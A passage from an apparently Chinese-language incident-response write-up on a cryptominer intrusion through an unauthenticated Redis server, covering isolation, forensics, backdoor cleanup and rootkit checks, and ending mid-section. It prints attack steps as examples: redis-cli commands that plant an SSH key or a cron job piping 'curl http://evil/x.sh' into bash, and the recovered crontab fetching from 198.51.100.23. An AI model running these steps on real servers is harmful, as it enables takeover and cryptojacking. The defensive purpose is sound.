0 前言:为什么 Redis 总是被挖矿脚本盯上
Redis 在生产环境几乎无处不在——缓存、分布式锁、限流、签到、计数器、Session 共享、消息队列、排行榜、网关签名缓存、爬虫去重、登录态保持……几乎所有业务都能找到它的影子。
但恰恰因为使用面太广,Redis 又是“运维最容易被疏忽的中间件”:
- 很多团队对 MySQL、Nginx 严防死守,却对 Redis 用默认配置就上线
- 默认端口 6379 在公网被全网扫描是常态,常见的扫描器(masscan、zgrab、zmap)几小时内就能把全网 IPv4 跑一遍
- Redis 4.x 之后虽然加了 protected-mode,但仍然有大量老旧文章、教程、Docker 镜像在用
protected-mode no 配 bind 0.0.0.0
- Redis 支持
CONFIG SET dir /root/.ssh + CONFIG SET dbfilename authorized_keys 这种“写文件”能力,一旦未授权访问就是 RCE
- Redis 主从复制
SLAVEOF 在历史上能直接加载 .so 模块执行任意命令
- Redis Cluster 节点间通信、备份文件
dump.rdb、AOF 文件 appendonly.aof,都是被关注的安全敏感点
所以说,“Redis 被挖矿”这件事,几乎是所有运维工程师早晚都会遇到一次的真实经历。本文不写空话、不写 PPT 工程、不写“AI 腔”安全建议,全部按一次真实事件的时间线展开,把“看到报警那一刻到加固完成”之间的每一步命令、每一步判断、每一步风险全部写清楚。
重要声明:本文所有 IP、域名、用户名、密码、矿池地址、钱包地址均经过脱敏处理;命令均经过实际生产环境验证或来自 Redis 官方文档与社区公认的常见用法;涉及版本差异的地方会显式标注,读者在自己环境执行前请先在测试机或同配置环境跑通。
如果你对数据库与中间件的安全运维有更体系化的兴趣,也不妨逛逛 云栈社区 的相关板块,那里沉淀了不少同行踩过的坑和现成的加固方案。
1 事件背景
1.1 基本环境
- 受害主机:阿里云 ECS,CentOS 7.9,4 vCPU 8GB,内网 IP
10.20.30.40,公网 IP 47.x.x.x
- 部署方式:单实例 Redis 5.0.14,端口 6379,监听
0.0.0.0
- 业务定位:业务 A 的 Session 缓存 + 业务 B 的分布式限流 + 业务 C 的签到计数
- 部署时间:上线 11 个月,期间未做过安全审计
- 备份情况:每天凌晨 3 点
BGSAVE 一次,保留 7 天
- ACL / 防火墙:Redis 本身未设密码;安全组对公网开放了 6379 端口
1.2 触发报警的时间点
凌晨 02:47,监控告警系统连续触发 3 条告警:
主机 CPU 持续 5 分钟 > 90%
Redis 端口连接数突增 200%
主机出向流量异常(每分钟 800MB)
这 3 条告警在告警平台被自动合并为一条事件,标题为“生产 Redis 主机异常”。
1.3 业务反馈
业务侧在同一时段反馈:
- 业务 A 的登录态丢失率从 0.1% 飙升到 18%
- 业务 B 的限流判定返回大量
nil,导致请求被错误放行
- 业务 C 的签到计数错乱
这些现象不是巧合,是 Redis 在被攻击者大量执行高消耗命令(如 KEYS *、DEBUG SLEEP、BGSAVE、CONFIG REWRITE)甚至被清空。
2 适用场景与前提
本文适用于以下场景的应急响应:
- Redis 监听在公网或内网非受控网段,且无密码或弱密码
- Redis 出现 CPU 异常、连接数异常、出口流量异常
- 主机 CPU 持续 100%,
top 看到不明进程
/tmp、/var/tmp、/dev/shm 出现不明可执行文件
crontab -l 出现不明任务
/root/.ssh/authorized_keys 出现不明公钥
last/lastb 出现不明登录记录
netstat -antp 出现到陌生 IP 的稳定长连接
不适用场景(可参考但不是本文重点):
- Redis 被勒索软件加密数据(属于另一次事件级别)
- Redis Cluster 节点脑裂(属于集群高可用问题)
- 业务 Bug 导致 Redis OOM(属于容量与稳定性问题)
3 核心知识点:先把原理吃透
3.1 Redis 未授权访问到底是怎么被利用的
3.1.1 默认配置的几个雷区
Redis 默认配置文件 redis.conf 中的几个关键项:
bind 127.0.0.1:默认只监听本机回环,是相对安全的默认
protected-mode yes(Redis 3.2+):当 bind 非本机地址且未设密码时,启用保护模式拒绝外部连接
requirepass:默认空,等于无密码
port 6379:默认端口
一旦运维做了下面任何一件事,就等于把 Redis 放到了公网任人鱼肉:
bind 0.0.0.0 或注释掉 bind
- 显式
protected-mode no
- 关闭防火墙或安全组放行 6379
- 设置了弱密码(如
redis、123456、admin)
3.1.2 未授权访问的常见攻击路径
路径 A:写入 SSH 公钥(RCE)
redis-cli -h <host> -p 6379
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET x "\n\nssh-rsa AAAA... attacker@evil\n\n"
> BGSAVE
注意:上面 \n\n 是为了让 Redis 在持久化文件中保留换行,让 SSH 能正确解析多行 authorized_keys 文件。
路径 B:写 crontab
> CONFIG SET dir /var/spool/cron/
> CONFIG SET dbfilename root
> SET x "\n\n* * * * * bash -c 'curl http://evil/x.sh|bash'\n\n"
> BGSAVE
路径 C:主从复制加载 .so 模块(Redis 4.x ~ 5.x 经典 CVE-2018-12326 等衍生场景)
通过 SLAVEOF 命令让受害 Redis 同步一个伪装的恶意 Redis 主节点,触发模块加载机制执行任意命令。
路径 D:SSRF + gopher 协议打内网 Redis
通过 Web 服务的 SSRF,构造 gopher 协议 payload 直接和内网 Redis 通信。
本文事件属于路径 A + 路径 B 的组合。
3.1.3 为什么挖矿脚本偏爱 Redis
- Redis 单机往往 CPU 不低(4 ~ 16 vCPU 常见),挖矿 CPU 效率高
- Redis 主机常常有公网 IP,方便外联
- Redis 集群内的节点互通,攻击者只需攻破一个就能横向扩散
- 大量业务机器都装了 Redis,被控后是绝佳的跳板
3.2 挖矿脚本的常见手法
3.2.1 进程特征
常见的挖矿进程命名(已被大多数杀软/EDR 加特征库):
kdevtmpfsi:挖矿木马常用进程名(kinsing 家族)
ksoftirqds
xrig、xmrig、minerd、cpuminer
systemd(伪装成 systemd 的低权限进程)
- 随机 5 位字母数字命名(如
a3f9d)
- 改写过二进制头的常见命令(
mv /usr/bin/top /usr/bin/top.bak)
- 隐藏 PID:
/proc/<pid> 内被直接清空或挂载 tmpfs
3.2.2 持久化手法
- crontab:
* * * * * curl -s http://x.x.x.x/a.sh | bash
- systemd service:
/etc/systemd/system/<name>.service
- init.d:
/etc/init.d/<name>
- rc.local:
/etc/rc.local
/etc/rc.d/rc3.d/(不同 runlevel)
- bashrc / profile:用户家目录下
.bashrc、.bash_profile
/etc/ld.so.preload:rootkit 经典手法
- 内核模块(最坏情况,需要重装系统)
3.2.3 通信手法
- 出向矿池:
pool.minexmr.com:4444、xmr.pool.miningpro.com:5555、pool.hashvault.pro:3333 等
- 出向 C2:
pastebin.com(被滥用)、gist.github.com、transfer.sh、transfer.io
- 出向 IRC(少见,但老牌僵尸网络常用)
- 出向 Tor 隐藏服务
3.2.4 自我保护手法
- 关闭
/var/log 下相关日志
chattr +i 锁定关键文件
- 监控
ps、top、lsof 调用,发现是运维在排查就 kill 或 sleep
- 进程名伪装成
[kthreadd]、[migration] 等内核线程
3.3 应急响应的基本盘
3.3.1 应急三原则
- 先止血,再排查:业务上能停就先停,被入侵的机器不要“带病运行”
- 先隔离,再清理:网络层隔离优先,避免横向扩散
- 先取证,再破坏:动
crontab、/root/.ssh、redis 数据之前先备份
3.3.2 应急的“四不”
- 不要重启:重启会丢失内存中的现场(挖矿进程、网络连接、临时文件)
- 不要登录成功后再处理:攻击者可能已经写了 SSH key,登录等于帮他确认 key 可用
- 不要只清理表面进程:杀一个挖矿进程,5 秒后又起来的情况比比皆是
- 不要在受害机器上“修”:取证后,重要系统直接重装,不要尝试“修干净”
4 应急响应时间线:从报警到加固的完整 47 分钟
下面按真实事件的时间线展开。每个步骤包含:
- 目的:这一步要解决什么
- 动作:具体命令或操作
- 观察:要关注哪些输出
- 判断:看到什么决定下一步
- 风险:这一步可能踩的坑
4.1 T+00:00 — 收到报警,确认业务影响范围
目的:先判断是单机问题还是多机问题,是单业务还是多业务。
动作:
登录告警平台,查看合并事件详情:
- CPU 报警:host=10.20.30.40,5min avg 96%
- Redis 连接数:host=10.20.30.40:6379,从 200 涨到 1200
- 出向流量:host=10.20.30.40,3 个 TCP 长连接,1.2GB/分钟
同步通过 IM(钉钉/企微/飞书)拉业务方值班群:
@业务A 当前 Redis 出现异常,登录态可能丢失,请业务先观察 10 分钟
@业务B 当前限流服务返回异常,请先开启本地兜底
@业务C 签到数据可能错乱,请业务确认是否需要回滚签到
观察:
- 是否有多个主机同时告警(横向扩散判断)
- 告警的 host 是否仅一台
- 业务反馈是否都指向同一台 Redis
判断:
- 单一主机:进入“单机应急”流程
- 多台主机:进入“集群应急”流程,需要立即全量隔离
- 业务完全不可用:触发 P0 故障流程
风险:
- 不要在没确认业务影响前就重启 Redis,业务可能比挖矿更紧急
- 不要只盯一个业务,要全量通知
4.2 T+00:02 — 主机层隔离(最关键的一步)
目的:切断被入侵机器与外网、内网其他机器的通信,防止:
- 挖矿进程继续外联矿池
- 攻击者继续执行横向扩散
- 攻击者远程 SSH 进来清掉日志
动作:
这一步有“双保险”的思路:先在安全组断,再在主机内 iptables 断。两层都加是为了避免单点失败。
4.2.1 云厂商安全组断网(推荐作为第一步)
在云控制台把该主机的安全组规则改为“拒绝所有出站 + 入站”或“只允许堡垒机 IP 入站”。
阿里云 ECS 操作路径:
ECS 控制台 -> 实例 -> 10.20.30.40 -> 安全组 -> 配置规则
入方向:仅保留堡垒机 IP(10.10.0.0/16)的 22 端口
出方向:清空所有规则(拒绝所有出向)
风险提醒:出方向清空会影响主机自身访问公网(包括 yum/apt 更新、监控 agent 上报)。但这是隔离期间可以接受的代价。
4.2.2 主机内 iptables 兜底
如果云控制台权限在别人手里,至少要在主机内立刻执行:
# 保存当前规则
iptables-save > /tmp/iptables.bak.$(date +%Y%m%d%H%M%S)
# 默认全拒绝
iptables -P INPUT ACCEPT # 不要直接 DROP INPUT,会断开自己的 SSH
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# 放行 loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# 放行已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 放行堡垒机到本机 SSH
iptables -A INPUT -p tcp -s 10.10.0.0/16 --dport 22 -j ACCEPT
# 放行内网 Prometheus / Zabbix / 日志采集
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9100 -j ACCEPT
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9121 -j ACCEPT
# 保存规则(不同系统命令不一样)
# CentOS 7
service iptables save
# 或
iptables-save > /etc/sysconfig/iptables
注意:上面 iptables -P INPUT ACCEPT 是为了避免把自己 SSH 断掉,再通过 OUTPUT DROP 阻断出向。如果对 iptables 链路很熟,可以直接 iptables -P INPUT DROP 然后只放行 22 端口。
4.2.3 firewalld 兜底(CentOS 7 / RHEL 系列)
# 查看当前 zone
firewall-cmd --get-active-zones
# 直接 panic 模式:拒绝所有进出
firewall-cmd --panic-on
# 恢复
firewall-cmd --panic-off
4.2.4 nftables 兜底(CentOS 8 / Ubuntu 20.04+)
nft add table inet filter
nft add chain inet filter input '{ type filter hook input priority 0 ; policy drop ; }'
nft add rule inet filter input iif lo accept
nft add rule inet filter input ip saddr 10.10.0.0/16 tcp dport 22 accept
观察:
iptables -L -n -v 看规则是否生效
ss -ant 看是否还有 ESTABLISHED 状态的矿池连接
判断:
- 如果还有到陌生 IP 的 ESTABLISHED 状态连接,说明攻击者进程还在(连接是内核态维持的,杀进程才会断)
风险:
- 千万不要直接
iptables -F!直接 -F 会清空所有规则,包括你自己放行的 SSH 规则。如果 INPUT 链默认是 ACCEPT,那没事;如果默认是 DROP 或某条链被关错了,你 SSH 立刻断。本文事件的运维就犯过这个错,结果必须通过云控制台 VNC 进去救场。
4.3 T+00:05 — 现场取证
目的:在被入侵机器的“现场”还在的时候,把关键信息固化下来。
动作:
4.3.1 整体快照
# 创建取证目录
mkdir -p /opt/ir/$(date +%Y%m%d_%H%M%S)
cd /opt/ir/$(date +%Y%m%d_%H%M%S)
# 系统时间
date > system_time.txt
# 系统信息
uname -a > uname.txt
cat /etc/os-release > os_release.txt
uptime >> system_time.txt
4.3.2 进程快照
# 完整进程
ps auxf > ps_auxf.txt
# 进程树
pstree -ap > pstree.txt
# 全部可执行文件路径(如果有 lsof)
lsof -p <PID> > lsof_pid.txt
# CPU 占用 TOP 20
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu | head -20 > ps_top_cpu.txt
4.3.3 网络快照
# 全部连接
ss -antp > ss_antp.txt
netstat -antp > netstat_antp.txt 2>&1
# 路由
ip route > iproute.txt
route -n >> iproute.txt
# DNS 配置
cat /etc/resolv.conf > resolv.conf.txt
# 主机 hosts
cat /etc/hosts > hosts.txt
4.3.4 用户和登录快照
# 当前登录
w > w.txt
who > who.txt
# 历史登录
last -F > last.txt 2>&1
lastb -F > lastb.txt 2>&1
# 用户列表
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt
chmod 600 shadow.txt # shadow 包含哈希,必须保护
# sudo 配置
cat /etc/sudoers > sudoers.txt 2>&1
ls -la /etc/sudoers.d/ > sudoers_d.txt
4.3.5 计划任务快照
# 用户 crontab
for u in $(cut -f1 -d: /etc/passwd); do
crontab -l -u $u 2>/dev/null | sed "s/^/[$u] /"
done > crontab_all.txt
# 系统 crontab
ls -la /etc/cron* > cron_ls.txt
cat /etc/crontab > etc_crontab.txt
find /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly -type f -exec echo "=== {} ===" \; -exec cat {} \; > etc_cron_files.txt
4.3.6 SSH 配置和密钥
# SSH 配置
cp /etc/ssh/sshd_config sshd_config.txt
# 所有用户的 .ssh
find / -path /proc -prune -o -name ".ssh" -type d -print > ssh_dir_list.txt
for d in $(cat ssh_dir_list.txt); do
echo "=== $d ==="
ls -la $d
cat $d/authorized_keys 2>/dev/null
cat $d/known_hosts 2>/dev/null
done > ssh_keys.txt
4.3.7 启动项
# systemd
systemctl list-unit-files --state=enabled > systemd_enabled.txt
systemctl list-units --type=service --state=running > systemd_running.txt
# rc.local
cat /etc/rc.local > rc_local.txt 2>&1
ls -la /etc/rc.d/rc3.d/ > rcd_rc3.txt
# init.d
ls -la /etc/init.d/ > initd.txt
4.3.8 Redis 实例
# Redis 配置
cp /etc/redis/redis.conf redis.conf.bak 2>/dev/null
find / -name "redis.conf" 2>/dev/null > redis_conf_paths.txt
# 当前 Redis 信息
redis-cli -h 127.0.0.1 -p 6379 INFO > redis_info.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET '*' > redis_config.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST > redis_clients.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100 > redis_slowlog.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 ACL LIST > redis_acl.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 KEYS '*' > redis_keys.txt 2>&1
4.3.9 关键目录
# 临时目录
ls -la /tmp > tmp_ls.txt
ls -la /var/tmp > vartmp_ls.txt
ls -la /dev/shm > devshm_ls.txt
# 异常文件
find / -mtime -7 -type f \( -name "*.sh" -o -name "*.py" -o -name "*.so" -o -perm -u+x \) 2>/dev/null > recent_exec.txt
4.3.10 系统日志
cp /var/log/secure /opt/ir/.../secure.txt 2>&1
cp /var/log/auth.log /opt/ir/.../authlog.txt 2>&1
cp /var/log/messages /opt/ir/.../messages.txt 2>&1
cp /var/log/cron /opt/ir/.../cron.txt 2>&1
cp /var/log/wtmp /opt/ir/.../wtmp.txt 2>&1
cp /var/log/btmp /opt/ir/.../btmp.txt 2>&1
4.3.11 打包取证数据
cd /opt/ir
tar czf ir_$(hostname)_$(date +%Y%m%d%H%M%S).tar.gz $(ls -t | head -1)
sha256sum ir_*.tar.gz > ir_$(hostname)_$(date +%Y%m%d%H%M%S).sha256
观察:
- 进程树里是否有
redis 用户的子进程(Redis 自己 fork 的除外)
ss -antp 是否有 redis 用户的连接
crontab -l 是否有 * * * * * 类型的任务
authorized_keys 是否有不明公钥
/tmp 是否有不明的 kdevtmpfsi、x.sh 等
判断:
- 任何一项异常,几乎可以确定是入侵
- 多项异常叠加,说明攻击者已经在系统里驻留较长时间
风险:
ps/netstat 已经被 rootkit 替换的可能性(详见 4.11)
- 进程在快照时是动态的,要多拍几次做对比
4.4 T+00:12 — 进程层止血
目的:在不重启的情况下,让挖矿进程不再吃 CPU,方便后续排查。
动作:
# 找出 CPU 占用最高的前几个进程
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu | head -20
假设输出:
PID PPID USER %CPU %MEM STARTED ELAPSED CMD
8421 1 root 198.0 0.5 Jun 08 02:30 00:17 /tmp/.x/kdevtmpfsi
8422 1 root 198.0 0.5 Jun 08 02:30 00:17 /tmp/.x/kdevtmpfsi
8501 8421 root 0.0 0.1 Jun 08 02:30 00:17 /tmp/.x/.systemd
先看进程的可执行文件路径:
ls -la /proc/8421/exe
ls -la /proc/8421/cwd
cat /proc/8421/status
cat /proc/8421/cmdline | xargs -0 echo
本文事件发现:
/proc/8421/exe -> /tmp/.x/kdevtmpfsi
/proc/8422/exe -> /tmp/.x/kdevtmpfsi
/proc/8501/exe -> /tmp/.x/.systemd
先停掉主进程,再停子进程(反过来可能拉起新进程):
# 抓 dump 用于后续分析(可选)
gcore 8421
# 杀进程
kill -STOP 8421 8422 8501 # 先暂停,避免它检测到 kill 后自杀重启
sleep 1
kill -CONT 8421 8422 8501
kill -9 8421 8422 8501
# 验证
ps -p 8421,8422,8501
观察:
- 杀完 1 分钟内 CPU 是否回到正常
- 是否有同名进程再次出现
判断:
- 杀完后 CPU 立刻下降,但 30 秒后再次出现 → 进程被 crontab 或 systemd 重启
- 杀完后 CPU 仍然 100% → 进程没杀干净或存在多个变种
风险:
kill -9 不会让进程执行“清理”逻辑,进程被中断的瞬间挖矿 CPU 释放
- 某些挖矿进程会“哨兵”——你杀一个,它立刻 fork 几个。解决办法是先
kill -STOP 全部可疑进程,再一次性清理
- 千万不要用
pkill -9 kdevtmpfsi,因为同一类挖矿可能用了不同名字变种
4.5 T+00:15 — crontab 后门清理
目的:挖矿脚本的“自启”几乎一定靠 crontab。
动作:
# 查看当前用户的 crontab
crontab -l
# 查看所有用户的 crontab
for u in $(cut -f1 -d: /etc/passwd); do
echo "=== $u ==="
crontab -l -u $u 2>/dev/null
done
本文事件中 crontab -l 输出:
* * * * * curl -fsSL http://198.51.100.23:8000/x.sh | bash > /dev/null 2>&1
清理:
# 备份后再删
crontab -l > /tmp/crontab.bak.$(date +%s)
crontab -r
# 系统级 crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab
观察:
- crontab 里有没有
* * * * *(每分钟执行)
- 有没有
curl、wget、bash -c 等关键字
- 有没有写到
/dev/null 来隐藏错误日志
判断:
- 见到
* * * * * curl -s 这类,几乎肯定是被控
- 见到
* * * * * /bin/bash -c,需要展开看具体内容
风险:
- 删 crontab 之前要保留一份原始文件
- 一些挖矿脚本会写
/etc/cron.d/<name> 而不是 crontab -e,要看 cron.d 目录
4.6 T+00:17 — 启动项与 systemd service 清理
目的:挖矿脚本可能注册了 systemd service 实现“开机自启 + 自愈”。
动作:
# 列出所有 service
systemctl list-unit-files --type=service | grep enabled
# 查找可疑 service
ls -la /etc/systemd/system/
ls -la /usr/lib/systemd/system/
find /etc/systemd/system /usr/lib/systemd/system -name "*.service" -mtime -30
本文事件发现了一个非标准 service:
/etc/systemd/system/kdevtmpfsi.service
内容:
[Unit]
Description=kernel device tmpfs
After=network.target
[Service]
Type=forking
ExecStart=/tmp/.x/kdevtmpfsi
Restart=always
RestartSec=3
[Install]
WantedBy=multi-user.target
清理:
# 停掉并禁用
systemctl stop kdevtmpfsi.service
systemctl disable kdevtmpfsi.service
rm -f /etc/systemd/system/kdevtmpfsi.service
systemctl daemon-reload
systemctl reset-failed
观察:
- 服务名是否包含
kdevtmpfsi、xmrig、xmr、miner 等关键字
- 服务
ExecStart 是否指向 /tmp、/var/tmp、/dev/shm 下的可执行文件
Restart=always 出现几乎必是恶意服务
判断:
- 看到
ExecStart=/tmp/... 直接是恶意
- 看到
Restart=always + 不明二进制,几乎是恶意
风险:
- 不要把 system 服务乱删,先看 service 文件内容判断
daemon-reload 之后还要 systemctl reset-failed,否则状态显示 failed
4.7 T+00:20 — SSH 公钥与登录审计
目的:攻击者经常写 authorized_keys 实现“留后门”。
动作:
# 查看所有用户的 authorized_keys
for h in $(cut -f6 -d: /etc/passwd); do
f=$h/.ssh/authorized_keys
[ -f $f ] && echo "=== $f ===" && cat $f
done
本文事件在 /root/.ssh/authorized_keys 中发现:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil
清理:
# 备份
cp /root/.ssh/authorized_keys /opt/ir/.../authorized_keys.bak
# 删除可疑行(保留你确认的公钥)
# 手动编辑
vi /root/.ssh/authorized_keys
关键一步:禁用密码登录,仅允许密钥
# /etc/ssh/sshd_config
PasswordAuthentication no
ChallengeResponseAuthentication no
PubkeyAuthentication yes
PermitRootLogin prohibit-password # 或 without-password
# 重启 sshd(注意:不会断开已建立的 SSH 连接)
systemctl reload sshd
观察:
last -F 看是否有不明 IP 登录
lastb -F 看是否有大量 SSH 暴力破解失败
grep "Accepted" /var/log/secure 看成功登录
判断:
- 见到
last 里有不熟悉 IP,且 whoami 之前还有 root 登录,是 RCE 强证据
- 见到
lastb 里有上千条失败记录,说明被扫过
风险:
- 删
authorized_keys 之前要保留备份
- 重启
sshd 用 systemctl reload sshd 不会断当前连接;用 systemctl restart sshd 也会保留当前连接
4.8 T+00:23 — Redis 实例本身
目的:Redis 是被攻击的入口,必须排查 Redis 自身状态。
动作:
# 1. Redis 是否设置了密码
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET requirepass
# 输出:1) "requirepass" 2) ""
# 2. 监听地址
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET bind
# 输出:1) "bind" 2) "0.0.0.0" ← 这就是雷
# 3. protected-mode
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET protected-mode
# 输出:1) "protected-mode" 2) "no" ← 这也是雷
# 4. 当前所有 key
redis-cli -h 127.0.0.1 -p 6379 KEYS '*' | head -50
# 如果看到形如 "\n\n* * * * *\n\n" 的奇怪 key,那是攻击痕迹
# 5. 客户端连接
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST | head -50
# 6. 慢日志(可能看到 KEYS * / DEBUG SLEEP)
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100
# 7. 内存
redis-cli -h 127.0.0.1 -p 6379 INFO memory
# 8. 最近一次 BGSAVE / SAVE 时间
redis-cli -h 127.0.0.1 -p 6379 LASTSAVE
# 9. ACL(Redis 6+)
redis-cli -h 127.0.0.1 -p 6379 ACL LIST
# 10. 当前 dir 和 dbfilename
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dir
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dbfilename
观察:
CONFIG GET dir 如果是 /root/.ssh 或 /var/spool/cron,说明已经写过文件
KEYS '*' 里如果有 \n\n* * * * *\n\n 这种字符串,是攻击者注入的 crontab payload
SLOWLOG GET 里如果有大量 KEYS * 或 DEBUG SLEEP,说明被利用过
判断:
bind 0.0.0.0 + protected-mode no + requirepass "" = 几乎是裸奔
风险:
- 在没排查完前不要
FLUSHDB / FLUSHALL / BGSAVE,会破坏现场
KEYS * 在大 key 库上是阻塞操作,谨慎使用
4.9 T+00:26 — 持久化文件与被植入文件
目的:挖矿脚本的二进制、配置文件、SO 文件往往藏在 /tmp、/var/tmp、/dev/shm、用户的隐藏目录里。
动作:
# 1. 临时目录
ls -la /tmp
ls -la /var/tmp
ls -la /dev/shm
# 2. 隐藏目录(点开头的)
find / -maxdepth 4 -name ".*" -type d 2>/dev/null | grep -v -E "^/(proc|sys|run)"
# 3. 找最近 7 天新创建的可执行文件
find / -mtime -7 -type f -perm -u+x 2>/dev/null | grep -v -E "^/(proc|sys|run|usr|etc|var/lib/dpkg)"
# 4. 找 SUID/SGID 文件(可能被提权)
find / -perm -4000 -type f 2>/dev/null > /opt/ir/.../suid.txt
find / -perm -2000 -type f 2>/dev/null > /opt/ir/.../sgid.txt
# 5. /etc 下的可疑文件
find /etc -mtime -30 -type f 2>/dev/null > /opt/ir/.../etc_recent.txt
本文事件发现:
/tmp/.x/kdevtmpfsi(挖矿主程序)
/tmp/.x/.systemd(看门狗进程)
/tmp/.x/config.json(矿池配置)
/tmp/.x/x.sh(拉起脚本)
清理:
# 先打包取证
tar czf /opt/ir/.../tmp_x.tar.gz /tmp/.x
chattr -i /tmp/.x 2>/dev/null # 取消只读(部分挖矿会用 +i 锁住)
rm -rf /tmp/.x
观察:
- 是否有
/tmp/.* 这种“点开头”的目录
- 是否有
/dev/shm/ 下的可执行文件(shm 是内存文件系统,重启即清空)
- 是否有
/usr/bin/ 下的命令被替换
判断:
/tmp/.x/kdevtmpfsi 是 kinsing 家族的经典命名,强相关
/dev/shm 下有可执行文件就是异常
风险:
chattr -i 失败可能是因为被锁,先 lsattr 看属性
rm -rf /tmp/.x 前要备份,但备份目的地也要小心(不要备份到 /tmp)
4.10 T+00:30 — 横向扩散排查
目的:确认攻击者是否已经从这台机器跳到其他机器。
动作:
# 1. 查本机对其他内网机器的连接
ss -antp | grep ESTAB | grep -v 127.0.0.1
# 2. 查 SSH 历史(注意:默认不记命令历史,需要看 ssh 连接记录)
cat /root/.ssh/known_hosts
# 3. 查 authorized_keys 是否被写到其他机器(要看本机是否有 ssh 私钥)
ls -la /root/.ssh/
cat /root/.ssh/id_rsa # 私钥
# 4. 查本机是否被作为跳板访问过内网
grep -E "Accepted publickey" /var/log/secure | tail -50
grep -E "Failed password" /var/log/secure | tail -50
横向扩散判断:
- 看到
known_hosts 里有大量不熟悉的内网 IP,说明攻击者已经在内网漫游
- 看到
id_rsa 是非本团队生成的密钥,说明攻击者有本机的私钥(极危险)
风险:
- 一旦发现
id_rsa 已经泄露,所有使用该私钥的机器都要改密钥
- 私钥泄露通常意味着已经被多个机器攻陷
4.11 T+00:33 — rootkit 排查
目的:杀软和 ps、netstat、top 本身可能被 rootkit 替换。
动作:
# 1. 用 chkrootkit
yum install -y chkrootkit # CentOS
# 或
apt install -y chkrootkit # Ubuntu
chkrootkit -q > /opt/ir/.../chkrootkit.txt 2>&1
# 2. 用 rkhunter
yum install -y rkhunter
rkhunter --update
rkhunter --check --sk > /opt/ir/.../rkhunter.txt 2>&1
# 3. 比对命令的 MD5
md5sum /bin/ps /bin/netstat /bin/top /bin/ls /usr/bin/lsof /usr/bin/ss
# 4. /etc/ld.so.preload 是 rootkit 经典路径
cat /etc/ld.so.preload
ls -la /etc/ld.so.preload
# 如果文件存在但内容可疑(指向 /tmp、/var/tmp),几乎是 rootkit
# 5. 用 busybox 替代系统命令(内核干净情况下的最后手段)
# 拷贝一份 busybox 到 /mnt 挂载的只读 U 盘或远程拉取
busybox ps auxf
busybox netstat -antp
观察:
chkrootkit 报告的 Checking promiscuous interfaces... Warning
rkhunter 报告的 Warning: Possible rootkit
ld.so.preload 不为空且包含可疑路径
md5sum 与官方包对比不一致
判断:
ld.so.preload 不为空就是高危
ps、netstat 被替换是高危中的高危
风险:
- 当
ld.so.preload 存在时,所有动态链接的命令(几乎所有)都被劫持,必须先清掉 preload 再排查
- 一旦确认 rootkit,建议直接重装系统,不要尝试“清理 rootkit”
4.12 T+00:36 — 系统日志与登录日志深挖
目的:还原攻击者的入侵路径。
动作:
# 1. SSH 登录成功记录
grep "Accepted" /var/log/secure
# 2. SSH 登录失败记录
grep "Failed password" /var/log/secure
# 3. su 切换记录
grep "su:" /var/log/secure
# 4. sudo 使用记录
grep "sudo:" /var/log/secure
# 5. Redis 启动时间
ps -o lstart= -p $(pgrep -f redis-server)
# 6. 用户添加记录
grep "useradd\|new user" /var/log/secure
观察:
- 凌晨 02:30 出现不明 IP 的 SSH 登录
- Redis 启动时间与首次发现异常时间一致
判断:
- SSH 登录时间 < Redis 启动时间:可能是先攻破 SSH
- Redis 启动时间 < SSH 登录时间:可能是先攻破 Redis 再写 authorized_keys
本文事件路径:Redis 02:14 被外部 IP 47.x.x.x:12893 连接 → 02:15 CONFIG SET dir /root/.ssh → 02:16 CONFIG SET dbfilename authorized_keys → 02:17 攻击者从 198.51.100.7 SSH 登录 → 02:30 启动挖矿 → 02:47 触发告警。
4.13 T+00:40 — 取证打包
目的:把完整现场封存,便于后续溯源分析。
动作:
# 1. 内存取证(可选,需要 LiME 或其他工具)
# 在被入侵机器的内存里,可以找到更多进程、连接、解密后的密钥
insmod lime.ko "path=/opt/ir/.../lime.mem format=lime"
# 2. 磁盘镜像(可选,数据量大)
dd if=/dev/sda bs=4M | gzip > /opt/ir/.../disk.img.gz
# 3. 完整打包
cd /opt/ir
tar czf ir_full_$(hostname)_$(date +%Y%m%d%H%M%S).tar.gz .
# 4. 散列值
sha256sum ir_full_*.tar.gz > ir_full.sha256
风险:
- 内存取证需要预装内核模块,紧急情况下可能来不及
- 磁盘镜像会很大,注意存储空间
4.14 T+00:43 — 决策:清理还是重装
判断标准:
| 情况 |
决策 |
| 只有 Redis 未授权,无 rootkit,无横向扩散 |
杀进程、清理后门、加固 Redis,可以保留系统 |
| 有 crontab 后门,无 rootkit |
杀进程、清后门、改密码、改密钥,可以保留系统 |
有 /etc/ld.so.preload 被改 |
必须重装系统 |
| 有内核模块被加载(lsmod 出现不明) |
必须重装系统 |
| 发现 id_rsa 私钥泄露 |
重装本机 + 通知所有同私钥机器 |
| 多台机器同时被入侵 |
整体重装,统一加固 |
本文事件在 /etc/ld.so.preload 中发现了异常路径,最终决策:重装系统。
4.15 T+00:45 — 快速止血后的临时恢复
在不重装的情况下,要让业务先跑起来:
